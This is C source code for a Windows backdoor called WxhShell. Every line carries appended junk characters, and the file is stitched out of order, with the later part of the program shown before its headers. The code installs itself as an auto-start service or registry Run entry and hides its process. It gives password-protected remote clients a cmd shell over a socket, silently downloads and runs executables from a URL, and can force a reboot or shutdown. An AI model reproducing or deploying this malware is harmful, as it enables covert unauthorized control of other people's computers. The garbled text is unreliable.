    if(Boot(SHUTDOWN)) CV *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L$=a,$  
    else { (z X&feq  
    closesocket(wsh); > `+lEob  
    ExitThread(0); gBo~NLrf  
    } =}[m_rp&  
    break; Q@.%^1Mp  
    } }~! D]/B  
  // 获取shell u1/q8'RW  
  case 's': { );fPir?+  
    CmdShell(wsh); ,~7+r#q7  
    closesocket(wsh); 9v76A~~  
    ExitThread(0); CpC6vA.R  
    break; PsI{y&.  
  } :6}cczQE|O  
  // 退出 RBOhV/f  
  case 'x': { )Tad]Hd"W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :c0 |w  
    CloseIt(wsh); #oEq)Vq>g|  
    break; "nC=.5/$  
    } qgsw8O&  
  // 离开 EtA,ow  
  case 'q': { 3H,>[&d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l ?gh7m_ej  
    closesocket(wsh); Fo&ecWhw  
    WSACleanup(); ]d,#PF  
    exit(1); &Ef6'  
    break; ;V)94YT  
        } N"/be  
  } @RLlkWGc  
  } u %&4[zb  
[`=:uUf3  
  // 提示信息 B-aJn8>/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /n#t.XJY*  
} WvHy}1W  
  } Dlo4Wy  
(JeRJ4  
  return; f`_6X~ p  
} $ iU~p  
^HNccr  
// shell模块句柄 PoRL35  
int CmdShell(SOCKET sock) 1A/li%  
{ w}Xy;0c  
STARTUPINFO si; ;#6j9M0  
ZeroMemory(&si,sizeof(si)); Rj {D#5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R86:1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ix'GP7-m_  
PROCESS_INFORMATION ProcessInfo; ED R*1!d  
char cmdline[]="cmd"; &?B\(?*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q4&<RWbT^  
  return 0; qAR}D~t  
}  Q-Rt  
>rzpYc'~w  
// 自身启动模式 8??%H7~  
int StartFromService(void) YM]ZL,8  
{ ?u /i8  
typedef struct Sh RkL<  
{ .%N*g[J  
  DWORD ExitStatus; @ei:/~y3  
  DWORD PebBaseAddress; U2VnACCUZs  
  DWORD AffinityMask; 3ZU<u;  
  DWORD BasePriority; ;l'kPUv([  
  ULONG UniqueProcessId; s7TV@Y)  
  ULONG InheritedFromUniqueProcessId; 9:jZ3U  
}   PROCESS_BASIC_INFORMATION;  `jB2'  
D^W?~7e ^r  
PROCNTQSIP NtQueryInformationProcess; 9b*1-1"  
LXQ-J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _fQBXG2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cYMlc wS  
k,nRC~Irh  
  HANDLE             hProcess; H Ql_ /:Wx  
  PROCESS_BASIC_INFORMATION pbi; =1Mh %/y  
Dx<CO1%z-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S\O6B1<:  
  if(NULL == hInst ) return 0; ^~%z Plv  
/K]<7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (j;6}@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _ s[v:c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *T'>-nm]  
.5x+FHu7  
  if (!NtQueryInformationProcess) return 0; &u/T,jy`  
8L7ZWw d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h .Iscr^~  
  if(!hProcess) return 0; X%b.]A  
 Gp/yr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \kGi5G]  
$xf{m9 8  
  CloseHandle(hProcess); z2QZ;ZjvRS  
)} H46  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,??%["R  
if(hProcess==NULL) return 0; \VX~'pkrd/  
!~&vcz0>)9  
HMODULE hMod; ^3L6mOoA  
char procName[255]; 5/O;&[lYy  
unsigned long cbNeeded; a9GLFA8Vq  
# N.(ZP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bstc|8<  
r%g?.4o*b  
  CloseHandle(hProcess); ^c{,QS{  
t-$R)vZ}M  
if(strstr(procName,"services")) return 1; // 以服务启动 }'KVi=qnHb  
I%NPc4p  
  return 0; // 注册表启动 eswsxJ/!  
} :_q   
/IS j0"/$  
// 主模块 =;/4j'1}9  
int StartWxhshell(LPSTR lpCmdLine) G w$sL&1m\  
{ Xh/i5}5 t  
  SOCKET wsl; :A,V<Es}I"  
BOOL val=TRUE; $GyO+xF  
  int port=0; [y73 xF   
  struct sockaddr_in door; U3+{!}gn  
|yi3y `f  
  if(wscfg.ws_autoins) Install(); Eg"DiI)7  
:4"SJ  
port=atoi(lpCmdLine); pHFh7-vj  
.-;K$'YG  
if(port<=0) port=wscfg.ws_port; Oph4&Ip[w  
|#x;}_>7  
  WSADATA data; %6}S'yL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; . F0V  
_XtLO- D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kyQ%qBv ^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uD&!]E3  
  door.sin_family = AF_INET; \fphM6([RK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \#[W8k<Z  
  door.sin_port = htons(port); )>atoA  
EdA_Hf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #dDsI]E )  
closesocket(wsl); ~y}M GUEC  
return 1; z[DUktZl  
} U RDb  
,@=qaU  
  if(listen(wsl,2) == INVALID_SOCKET) { O~g _rcG  
closesocket(wsl); Tv<iHHp  
return 1; AC=cz!3iB  
} \^kyC1  
  Wxhshell(wsl); ^lT$D8  
  WSACleanup(); jK#y7E  
aC>r5b#:  
return 0; U`JzE"ps]  
fMr6ZmB  
} 0\g;^Zpi  
e_+`%A+-  
// 以NT服务方式启动 4:8#&eF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 13.v5v,l  
{ WIXzxI<)  
DWORD   status = 0; y6'Fi(2yw  
  DWORD   specificError = 0xfffffff; H*3f8A&@s  
,~FyC_%*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5+GW% U/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h)q:nlKUW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z9ciS";L  
  serviceStatus.dwWin32ExitCode     = 0; v@;:aN  
  serviceStatus.dwServiceSpecificExitCode = 0; j-ugsV`2=*  
  serviceStatus.dwCheckPoint       = 0; tnbaU%;|J  
  serviceStatus.dwWaitHint       = 0; L1`^~m|  
0/<}.Z]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [kzcsJ'/e  
  if (hServiceStatusHandle==0) return; $nQ; ++  
a J[VX)"J  
status = GetLastError(); n<Z;Xh~F  
  if (status!=NO_ERROR) :Tw3Oo_~S  
{ gh}FZs5 P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N{`-&8q;K  
    serviceStatus.dwCheckPoint       = 0; ?rWqFM:hb  
    serviceStatus.dwWaitHint       = 0; !h7`W*::  
    serviceStatus.dwWin32ExitCode     = status; Ly\$?3 h  
    serviceStatus.dwServiceSpecificExitCode = specificError; bslv_OxJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |hehROUn  
    return; g?UG6mFbE  
  } Giz9jzF \  
*#Hi W)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]c+qD,wqt>  
  serviceStatus.dwCheckPoint       = 0; <"/Y`/  
  serviceStatus.dwWaitHint       = 0; m:/@DZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "j3Yu4_ks  
} |Wj)kr !|  
F {]:  
// 处理NT服务事件,比如:启动、停止 @y->4`N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q^Lj)zmnK  
{ ^o"9f1s5  
switch(fdwControl) P6S^wjk  
{ <(?ahO5  
case SERVICE_CONTROL_STOP: y<k-dbr  
  serviceStatus.dwWin32ExitCode = 0; Gu~y/CE'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N2;T\xx,  
  serviceStatus.dwCheckPoint   = 0; |A 7Yv  
  serviceStatus.dwWaitHint     = 0; ]1%H.pF  
  { }f^r@3Cb3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eGvHU ;@  
  } 9#/z [!  
  return; <!K2xb-d^  
case SERVICE_CONTROL_PAUSE: Y:G6Nd VFM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B8Jev\_  
  break; 'rHkJ  
case SERVICE_CONTROL_CONTINUE: Iqe4O~)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q NU\XO`H  
  break; wsP3hE' ]  
case SERVICE_CONTROL_INTERROGATE: BkA>':bUr  
  break; Uk-^n~y  
}; jN 5Hku[?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tHXt*tzq  
} dI-=0v-|  
w48T?  
// 标准应用程序主函数 q>r9ooN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <X j:c2@  
{ ?;+=bKw0  
sL~TV([6/  
// 获取操作系统版本 f`p`c*  
OsIsNt=GetOsVer(); FM0)/6I'x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "f~S3?^!2  
TuBg4\V  
  // 从命令行安装 HV&N(;@  
  if(strpbrk(lpCmdLine,"iI")) Install(); fV Ah</aZ  
e<l Wel  
  // 下载执行文件 DM!vB+j+,  
if(wscfg.ws_downexe) { 9Q^>.^~^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ne@Iv)g?  
  WinExec(wscfg.ws_filenam,SW_HIDE); gx4`pH;B\  
} =i Rc&  
X82sw>Y  
if(!OsIsNt) { DuZ51[3_L  
// 如果时win9x,隐藏进程并且设置为注册表启动 m=PSC Ib  
HideProc(); odny{ePAf  
StartWxhshell(lpCmdLine); eek5Xm  
} >6=yxCJ  
else KKa"Ba$g  
  if(StartFromService()) +G? 4Wc1  
  // 以服务方式启动 JV/K ouL  
  StartServiceCtrlDispatcher(DispatchTable); 8Y sn8  
else Vg\EAs>f  
  // 普通方式启动 qeBfE  
  StartWxhshell(lpCmdLine); @?3u|m |Z  
(# eB %  
return 0; so8isDC'9  
} \UGs_5OT  
aIRCz=N  
* ?rw'  
Xl2Fgg}#  
=========================================== y{s?]hLk  
1*[h$Z&H?  
TPq5"mco  
b3H~a2"d  
t=~al8  
vy[*xT]  
" {w(6Tc  
7cr+a4T33  
#include <stdio.h> T}$1<^NK  
#include <string.h> tKo ^A:M  
#include <windows.h> un6grvxr  
#include <winsock2.h> {LbcG^k  
#include <winsvc.h> g>_6O[;t%  
#include <urlmon.h> (pH13qU5  
pxM^|?Hxc  
#pragma comment (lib, "Ws2_32.lib") 2l{g$44  
#pragma comment (lib, "urlmon.lib") j S')!Wcu  
3:Y ZC9  
#define MAX_USER   100 // 最大客户端连接数 vXR-#MS`}  
#define BUF_SOCK   200 // sock buffer Ol~sCr  
#define KEY_BUFF   255 // 输入 buffer "7JO~T+v  
sn+i[  
#define REBOOT     0   // 重启 6QLWF @  
#define SHUTDOWN   1   // 关机 }7IS:"tu  
j7xoe9;TxI  
#define DEF_PORT   5000 // 监听端口 ch 4z{7   
{Lk~O)E  
#define REG_LEN     16   // 注册表键长度 ?2 u_E "  
#define SVC_LEN     80   // NT服务名长度 Gz+Bk5#{  
z(:0@5  
// 从dll定义API zn_InxR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AJiEyAC!)5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $iEM$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 62PtR`b >  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @7" xDgA  
yj `b-^$?  
// wxhshell配置信息 M9_ y>N[0  
struct WSCFG { a,#f%#J\  
  int ws_port;         // 监听端口 I$n 0aR6  
  char ws_passstr[REG_LEN]; // 口令 zob^z@2  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^a[7qX_B  
  char ws_regname[REG_LEN]; // 注册表键名 %?<C ?.  
  char ws_svcname[REG_LEN]; // 服务名 kmi[u8iXD_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?#<Fxme  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y"]?TEd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I+!w9o2nZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '8 1M%KO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ']ya_v~e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [~W"$sT  
#@;RJJZg  
}; mK%!9F V  
V);{o>%.K  
// default Wxhshell configuration >e/;  
struct WSCFG wscfg={DEF_PORT, Cj _Q9/  
    "xuhuanlingzhe", ZK27^oG  
    1, `5r*4N<  
    "Wxhshell", Q|@!zMy  
    "Wxhshell", %+L:Gm+^g#  
            "WxhShell Service", 4+:Q"  
    "Wrsky Windows CmdShell Service", );kO2 7dg  
    "Please Input Your Password: ", aG%KiJ7KEN  
  1, qy`@\)S/5  
  "http://www.wrsky.com/wxhshell.exe", Ih;6(5z  
  "Wxhshell.exe" `ihlKFX  
    }; `pn]jpW9  
ua/A &XQx  
// 消息定义模块 ecA:y!N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g:dw%h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "w*VyD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z\pT nteO  
char *msg_ws_ext="\n\rExit."; U?[a@Hj{  
char *msg_ws_end="\n\rQuit."; }W#Gf.$6C  
char *msg_ws_boot="\n\rReboot..."; kUUN2  
char *msg_ws_poff="\n\rShutdown..."; *Y?rls`  
char *msg_ws_down="\n\rSave to "; <T)9mJYr  
I+kGEHO}  
char *msg_ws_err="\n\rErr!"; V()s! w  
char *msg_ws_ok="\n\rOK!"; <*V%!pwIG  
yH;=Y1([  
char ExeFile[MAX_PATH]; ` Xhj7%>  
int nUser = 0; %Nwap~=H;  
HANDLE handles[MAX_USER]; 2o] V q  
int OsIsNt; 94=Wy-  
R 3TdQ6j  
SERVICE_STATUS       serviceStatus; *TfXMN ?w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5n"b$hMF  
89v9BWF  
// 函数声明 DxdiXf[j  
int Install(void); j5Vyo>  
int Uninstall(void); :7K cD\fCj  
int DownloadFile(char *sURL, SOCKET wsh); \zR@FOl`q  
int Boot(int flag); q{ItTvL  
void HideProc(void); S;kI\;  
int GetOsVer(void); &?"(al?  
int Wxhshell(SOCKET wsl); \l?\%aqm  
void TalkWithClient(void *cs); VU J*\Sg  
int CmdShell(SOCKET sock); p[4KN(PyK  
int StartFromService(void); JfxD-9U^>u  
int StartWxhshell(LPSTR lpCmdLine); hD/bgquT  
Z*tB=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1.+0=M[h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ` Xc~'zG  
Obgn?TAVX  
// 数据结构和表定义 N\ChA]Ck  
SERVICE_TABLE_ENTRY DispatchTable[] = a[Ah  
{ vR.=o*!%  
{wscfg.ws_svcname, NTServiceMain}, fW~r%u .y  
{NULL, NULL} 4:.yE|@h[  
}; kO{A]LnAH  
U$Z)v1&{  
// 自我安装 mHrt)0\_  
int Install(void) KhIg  
{ (2RZc].M~  
  char svExeFile[MAX_PATH]; ;{[&&qMwU  
  HKEY key; wHq*)7#h#  
  strcpy(svExeFile,ExeFile); >B<jR$`6@  
W&#Ps6)8  
// 如果是win9x系统,修改注册表设为自启动 [#`)Bb&w  
if(!OsIsNt) { g VX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bCHJLtDQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m/Ou$  
  RegCloseKey(key); cK%Sty'8+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .|^L\L(!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1v)ur\>R  
  RegCloseKey(key); [`Seh$  
  return 0; \2KwF}[m  
    } 48vKUAzx`  
  } S+ gzl#r  
} )ZC0/>R  
else { BF{v0Z0/}k  
FpN>T  
// 如果是NT以上系统,安装为系统服务 89e<,f`h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -L%tiz`_  
if (schSCManager!=0) 3qwi)nm  
{ w/BaaF.0  
  SC_HANDLE schService = CreateService _^]2??V  
  ( F6J,:  
  schSCManager, [vh&o-6  
  wscfg.ws_svcname, {Z%4Pg  
  wscfg.ws_svcdisp, }iZO0C  
  SERVICE_ALL_ACCESS, )65 o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <Dojl #  
  SERVICE_AUTO_START, 5V5Nx(31i  
  SERVICE_ERROR_NORMAL, .`*h2  
  svExeFile, wg?GEY  
  NULL, Teh _  
  NULL, -X BD WV  
  NULL, i,|2F9YH  
  NULL, `d]D=DtH  
  NULL ;}"!|  
  ); vncLB&@7  
  if (schService!=0) DdDwMq  
  { @c,Qj$\1  
  CloseServiceHandle(schService); 8 -]\C  
  CloseServiceHandle(schSCManager); &v9*D`7L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5q4sxY9T  
  strcat(svExeFile,wscfg.ws_svcname); WX<),u2@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +)YU/41W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _]zm02|  
  RegCloseKey(key); z0|%h?N  
  return 0; 'b(V8x  
    } 4UP#~  
  } FbO\#p s  
  CloseServiceHandle(schSCManager); h[H FZv~{  
} ?=$=c8xw  
} q$IgkL  
Jd#g"a>zZ  
return 1; zv/owK  
} x[L/d"Wf  
>F7v'-*{  
// 自我卸载 vt8z=O  
int Uninstall(void) 4 :m/w!q$  
{ Z ,4G'[d  
  HKEY key; L WwWxerZ  
$;~  
if(!OsIsNt) { %49 ^S&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ))Q3;mI"  
  RegDeleteValue(key,wscfg.ws_regname); K`%{(^}.  
  RegCloseKey(key); C.su<B?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Hq*zc c  
  RegDeleteValue(key,wscfg.ws_regname); cvSr><(  
  RegCloseKey(key); O$SQzLZx&  
  return 0; CjeAO 2  
  } Ew.a*[W''  
} Z'/sZ3Q}  
} 3pQ^vbQ"  
else { 9qe<bds1  
JSKAlw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +E5EOo{ `|  
if (schSCManager!=0) W[ZW=c  
{ aG&ay3[&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mzfuthq=@  
  if (schService!=0) )Pj8{.t4  
  { x ,LQA0  
  if(DeleteService(schService)!=0) { zNg8Oq&  
  CloseServiceHandle(schService); 67,@*cK3?J  
  CloseServiceHandle(schSCManager); `]*BDSvE  
  return 0; 7l+>WB_]  
  } d4(!9O.\  
  CloseServiceHandle(schService); w+ MCOAB  
  } !u0|{6U  
  CloseServiceHandle(schSCManager); (zv)cw%  
} #@qd.,]2  
} ~m0l_:SF  
pXL@&]U+  
return 1; JIJ79HB  
} P`ZYm  
;~nz%L J  
// 从指定url下载文件 -`d9dJ dB  
int DownloadFile(char *sURL, SOCKET wsh) `-,yJ  
{ <OR f{  
  HRESULT hr; Y#[Wv1hi  
char seps[]= "/"; A08b=S  
char *token; :Ca]/]]  
char *file; ;_]Z3  
char myURL[MAX_PATH]; e3YdHp  
char myFILE[MAX_PATH]; 2p6`@8*34  
Wa{()Cz  
strcpy(myURL,sURL); 85fv])\y  
  token=strtok(myURL,seps); E 0k1yA  
  while(token!=NULL) WJXQM[  
  { !`UHr]HJ  
    file=token; .WeP]dX%:f  
  token=strtok(NULL,seps); o>G^)aRa  
  } )'pc1I  
?A]@$  
GetCurrentDirectory(MAX_PATH,myFILE); >R&=mo~  
strcat(myFILE, "\\"); '5:P,1tW U  
strcat(myFILE, file); 6e%|.}U  
  send(wsh,myFILE,strlen(myFILE),0); ]E8S`[Vn  
send(wsh,"...",3,0); yEvuTgDv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DnY7$']"|  
  if(hr==S_OK) (txr%Z0E  
return 0; 9gS.G2  
else B^{87YR  
return 1; +0)zB;~7  
w =MZi=p  
} CHZjK(a  
utJz e  
// 系统电源模块 gp?|UMA9 .  
int Boot(int flag) JE[+  
{ 1Vden.H*CI  
  HANDLE hToken; *CnrzrKtQ  
  TOKEN_PRIVILEGES tkp; ohy?l  
jT6zpi~]E  
  if(OsIsNt) { 9S _N*wC.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T@. $Zpz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q1d'L *   
    tkp.PrivilegeCount = 1; q^.\8zFf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GiF})e}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 02_37!\  
if(flag==REBOOT) { uI'g]18Hi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dq~PxcnI  
  return 0; HDTdOG)  
} m{ya%F  
else { ^Z 9v_qB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =z]8;<=pL  
  return 0; JW`Kh*,~<  
} 4 Ii@_r>  
  } ]0g%)fuMf  
  else { |H(Mmqgk  
if(flag==REBOOT) { lvyD#|P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ZQ?E^> B  
  return 0; $!msav  
} e1k\:]6  
else { cuw3}4m%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OR\-%JX/5  
  return 0; 0lvX,78G;  
} HOb-q|w  
} H=7z d|W  
o`@B*, @  
return 1; JW5SBt>  
} iN}BMd.U  
#=MQE  
// win9x进程隐藏模块 R+s_uwS  
void HideProc(void) JKFV7{ %Gl  
{ M~G1ZB  
SwDUg}M~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {mlJE>~%  
  if ( hKernel != NULL ) i>M*ubWE4@  
  { ? }k~>. \  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7 -(LWH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YS_9M Pi  
    FreeLibrary(hKernel); h)M9Oup`  
  } Kk^tQwj/QE  
<N{pMz  
return; 3x 9O(;k  
} b=#3p  
AR}M*sSh  
// 获取操作系统版本 }/Wd9x  
int GetOsVer(void) l; e&p${P  
{ LRhq%7p7  
  OSVERSIONINFO winfo; (VPT% l6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6g ,U+~  
  GetVersionEx(&winfo); ,{C(<1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4LU'E%vlC  
  return 1; AJ;Y Nb  
  else -S=Zsr\  
  return 0; nI4xK  
} %Km_Sy[7']  
FjUp+5  
// 客户端句柄模块 3I_"vk  
int Wxhshell(SOCKET wsl) >4d2IO1\  
{ MwxfTH"wi  
  SOCKET wsh; ,EgIH%* g  
  struct sockaddr_in client; {-rK:*yP'u  
  DWORD myID; c;w~-7Q*|  
JH~ve  
  while(nUser<MAX_USER) HrA6wn\O  
{ Xu1l6jr_  
  int nSize=sizeof(client); u.gh04{5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *JG?^G"l  
  if(wsh==INVALID_SOCKET) return 1; 6e@ O88=  
^g,[#Rh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cU25]V^{\  
if(handles[nUser]==0) 5 TD"  
  closesocket(wsh); lLHHuQpuj  
else S^ ?OKqS  
  nUser++; 5eC5oX>  
  } q{UP_6O F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m_H$fioha,  
R]%ZqT{PS  
  return 0; h2 Ifq!(:  
} oHmU|  
<69/ZI),Y{  
// 关闭 socket /KEPPp  
void CloseIt(SOCKET wsh) RB_7S!qC5  
{ do{#y*B/g!  
closesocket(wsh); nzDS  
nUser--; >taS<.G  
ExitThread(0); pBt/vSad  
} \n850PS  
@A6\v+ih  
// 客户端请求句柄 n@BE*I<"  
void TalkWithClient(void *cs) +1p>:cih  
{ 0D>~uNcT}  
}H{{@RU  
  SOCKET wsh=(SOCKET)cs; 1vu4}%nD  
  char pwd[SVC_LEN]; 8\8uXOS  
  char cmd[KEY_BUFF]; gQ h0-Dnw  
char chr[1]; ]Bs ?  
int i,j; 5;V#Z@S  
r2.87  
  while (nUser < MAX_USER) { uL b- NxQ-  
dUn8Xqj1  
if(wscfg.ws_passstr) { o})4Jt1vj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uw+v]y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Es]WR5 ^  
  //ZeroMemory(pwd,KEY_BUFF); @hm %0L  
      i=0; 8N(bLGUG  
  while(i<SVC_LEN) { eEn_aX  
bm1ngI1oI  
  // 设置超时 5v~Y>  
  fd_set FdRead; $'X*L e@k  
  struct timeval TimeOut; tZa)sbz  
  FD_ZERO(&FdRead); B>o\;)l3O  
  FD_SET(wsh,&FdRead); vD) LRO Z  
  TimeOut.tv_sec=8; v%&f00  
  TimeOut.tv_usec=0; 1q~U3'l:$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !j4C:L3F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "JVz v U]  
D +)6#i Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S:vv*5  
  pwd=chr[0]; {H $\,  
  if(chr[0]==0xd || chr[0]==0xa) { dqUhp_f2qK  
  pwd=0; F4 Ft~:a  
  break; ^V_acAuS^  
  } V{Idj\~Jh  
  i++; KN~E9oGs  
    } X >%2\S  
{L$b$u$7:  
  // 如果是非法用户,关闭 socket W\U zw,vI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oe$cM=Yf  
} }#<Sq57n  
;y6Jo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5vbnO]8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >o 3X)  
P xpz7He  
while(1) { Di*+Cz;gK  
4,s: G.g  
  ZeroMemory(cmd,KEY_BUFF);  2WE   
9aZ3W<N`M  
      // 自动支持客户端 telnet标准   kc8GnKM&mc  
  j=0; Q(k$HP  
  while(j<KEY_BUFF) { wc bs-arH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cqg}dXn'  
  cmd[j]=chr[0]; 2y_rsu\  
  if(chr[0]==0xa || chr[0]==0xd) { J~gfMp.  
  cmd[j]=0; D{'Na5(  
  break; T,7Y7MzF  
  } lu(G3T8  
  j++; G:WMocyXI'  
    } ]N=C%#ki!  
.2xypL8(  
  // 下载文件 Oku4EJFJ  
  if(strstr(cmd,"http://")) { m3_e]v3{o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P603P  
  if(DownloadFile(cmd,wsh)) ?]9uHrdsN}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .[ 1A  
  else *$# r%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9d[0i#`:q  
  } 82J0t}:U  
  else { [po+a@ %  
kOdS^-  
    switch(cmd[0]) { @z/]!n\~  
